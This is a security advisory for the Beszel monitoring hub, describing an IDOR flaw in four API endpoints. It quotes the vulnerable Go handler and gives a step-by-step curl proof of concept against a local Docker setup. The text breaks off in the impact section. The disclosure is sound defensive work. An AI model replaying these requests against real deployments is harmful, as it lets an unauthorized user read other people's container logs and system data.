GHSA-5f5r-95pg-xrpm Beszel has an IDOR in hub API endpoints that read system ID from URL parameter

• Go github.com/henrygd/beszel: < 0.18.7 → fixed in 0.18.7

Summary Some API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system's ID. System IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the `containers` endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string. Affected Component • File: `internal/hub/api.go`, lines 283–361 • Endpoints: • `GET /api/beszel/containers/logs?system=SYSTEM_ID&container=CONTAINER_ID` • `GET /api/beszel/containers/info?system=SYSTEM_ID&container=CONTAINER_ID` • `GET /api/beszel/systemd/info?system=SYSTEM_ID&service=SERVICE_NAME` • `POST /api/beszel/smart/refresh?system=SYSTEM_ID` • Commit: c7261b56f1bfb9ae57ef0856a0052cabb2fd3b84 Vulnerable Code The `containerRequestHandler` function retrieves a system by ID but never verifies the authenticated user is a member of that system: ```go // internal/hub/api.go:283-305 func (h *Hub) containerRequestHandler(e *core.RequestEvent, fetchFunc func(*systems.System, string) (string, error), responseKey string) error { systemID := e.Request.URL.Query().Get("system") containerID := e.Request.URL.Query().Get("container") if systemID == "" || containerID == "" { return e.JSON(http.StatusBadRequest, map[string]string{"error": "system and container parameters are required"}) } if !containerIDPattern.MatchString(containerID) { return e.JSON(http.StatusBadRequest, map[string]string{"error": "invalid container parameter"}) } system, err := h.sm.GetSystem(systemID) // ^^^ No authorization check: e.Auth.Id is never verified against system.users if err != nil { return e.JSON(http.StatusNotFound, map[string]string{"error": "system not found"}) } data, err := fetchFunc(system, containerID) if err != nil { return e.JSON(http.StatusNotFound, map[string]string{"error": err.Error()}) } return e.JSON(http.StatusOK, map[string]string{responseKey: data}) } ``` The same pattern applies to `getSystemdInfo` (lines 322–340) and `refreshSmartData` (lines 342–361). Meanwhile, the standard PocketBase collection API enforces proper membership checks: ```go // internal/hub/collections.go:56-57 systemsMemberRule := authenticatedRule + " && users.id ?= @request.auth.id" systemMemberRule := authenticatedRule + " && system.users.id ?= @request.auth.id" ``` These rules are only applied to the PocketBase collection endpoints, not to the custom routes registered on `apiAuth`. PoC The proof: The standard PocketBase API returns `404` (system not found) for unassigned systems. The custom endpoints resolve the system, contact the agent, and return data — proving the authorization check is missing. Step 1: Start the hub ```bash cd ~/Evidence/henrygd/beszel/finding418/docker-poc/ docker compose up -d ``` Wait a few seconds, then verify: ```bash curl -s http://localhost:8090/api/health ``` Expected: `{"message":"API is healthy.","code":200,"data":{}}` Step 2: Create User A (admin) Open `http://localhost:8090` in a browser and create the first user: • Email: `[email protected]` • Password: `testpassword1` Step 3: Create User B (readonly) In the Beszel UI, go to Users and add a new user: • Email: `[email protected]` • Password: `testpassword2` • Role: readonly Step 4: Authenticate as User A ```bash TOKEN_A=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \ -H "Content-Type: application/json" \ -d '{"identity":"[email protected]","password":"testpassword1"}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])") echo "TOKEN_A=$TOKEN_A" ``` Step 5: Get hub public key ```bash HUB_KEY=$(curl -s http://localhost:8090/api/beszel/getkey \ -H "Authorization: $TOKEN_A" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['key'])") echo "HUB_KEY=$HUB_KEY" ``` Step 6: Create a universal token and start the agent ```bash UTOK_A=$(curl -s "http://localhost:8090/api/beszel/universal-token?enable=1" \ -H "Authorization: $TOKEN_A" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])") echo "UTOK_A=$UTOK_A" ``` Find the Docker network the hub is on: ```bash NETWORK=$(docker inspect beszel-hub --format '{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}') echo "Network: $NETWORK" ``` Start the agent on the same network so the hub can reach it: ```bash docker run -d --name beszel-agent-a \ --network "$NETWORK" \ -e HUB_URL=http://beszel-hub:8090 \ -e TOKEN="$UTOK_A" \ -e KEY="$HUB_KEY" \ henrygd/beszel-agent:latest ``` Wait a few seconds for the agent to register: ```bash sleep 5 ``` Step 7: Verify User A sees the system ```bash curl -s http://localhost:8090/api/collections/systems/records \ -H "Authorization: $TOKEN_A" | python3 -m json.tool ``` You should see one system in `items`. Save the system ID: ```bash SYSTEM_A_ID=$(curl -s http://localhost:8090/api/collections/systems/records \ -H "Authorization: $TOKEN_A" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['items'][0]['id'])") echo "SYSTEM_A_ID=$SYSTEM_A_ID" ``` Step 8: Authenticate as User B (readonly) ```bash TOKEN_B=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \ -H "Content-Type: application/json" \ -d '{"identity":"[email protected]","password":"testpassword2"}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])") echo "TOKEN_B=$TOKEN_B" ``` Verify User B sees NO systems: ```bash curl -s http://localhost:8090/api/collections/systems/records \ -H "Authorization: $TOKEN_B" | python3 -m json.tool ``` Expected: `"totalItems": 0` Step 9: Control test — standard API blocks User B ```bash echo "=== Standard PocketBase API ===" curl -s -w "\nHTTP Status: %{http_code}\n" \ "http://localhost:8090/api/collections/systems/records/$SYSTEM_A_ID" \ -H "Authorization: $TOKEN_B" ``` Expected: 404 — RBAC correctly hides the system from User B. Step 10: IDOR — SMART refresh (User B triggers action on User A's system) ```bash echo "=== IDOR: POST /api/beszel/smart/refresh ===" curl -s "http://localhost:8090/api/beszel/smart/refresh?system=$SYSTEM_A_ID" \ -X POST -H "Authorization: $TOKEN_B" | python3 -m json.tool ``` Expected: The hub processes the request and contacts the agent. Any response (data or agent error) proves the IDOR — compare with the 404 from Step 9. Step 11: IDOR — Systemd info (User B reads from User A's system) ```bash echo "=== IDOR: GET /api/beszel/systemd/info ===" curl -s "http://localhost:8090/api/beszel/systemd/info?system=$SYSTEM_A_ID&service=sshd" \ -H "Authorization: $TOKEN_B" | python3 -m json.tool ``` Expected: Hub contacts the agent and returns systemd data or an agent-level error. Step 12: IDOR — Container logs (User B reads from User A's system) Container endpoints require a Docker container ID (12-64 hex chars). Get a real one from the agent's host: ```bash Get a real container ID from Docker (first 12 hex chars) CONTAINER_ID=$(docker ps --format '{{.ID}}' | head -1) echo "CONTAINER_ID=$CONTAINER_ID" echo "=== IDOR: GET /api/beszel/containers/logs ===" curl -s "http://localhost:8090/api/beszel/containers/logs?system=$SYSTEM_A_ID&container=$CONTAINER_ID" \ -H "Authorization: $TOKEN_B" | python3 -m json.tool ``` Step 13: IDOR — Container info (User B reads from User A's system) ```bash echo "=== IDOR: GET /api/beszel/containers/info ===" curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM_A_ID&container=$CONTAINER_ID" \ -H "Authorization: $TOKEN_B" | python3 -m json.tool ``` Impact • Container logs: Content of recent application logs, potentially including sensitive i…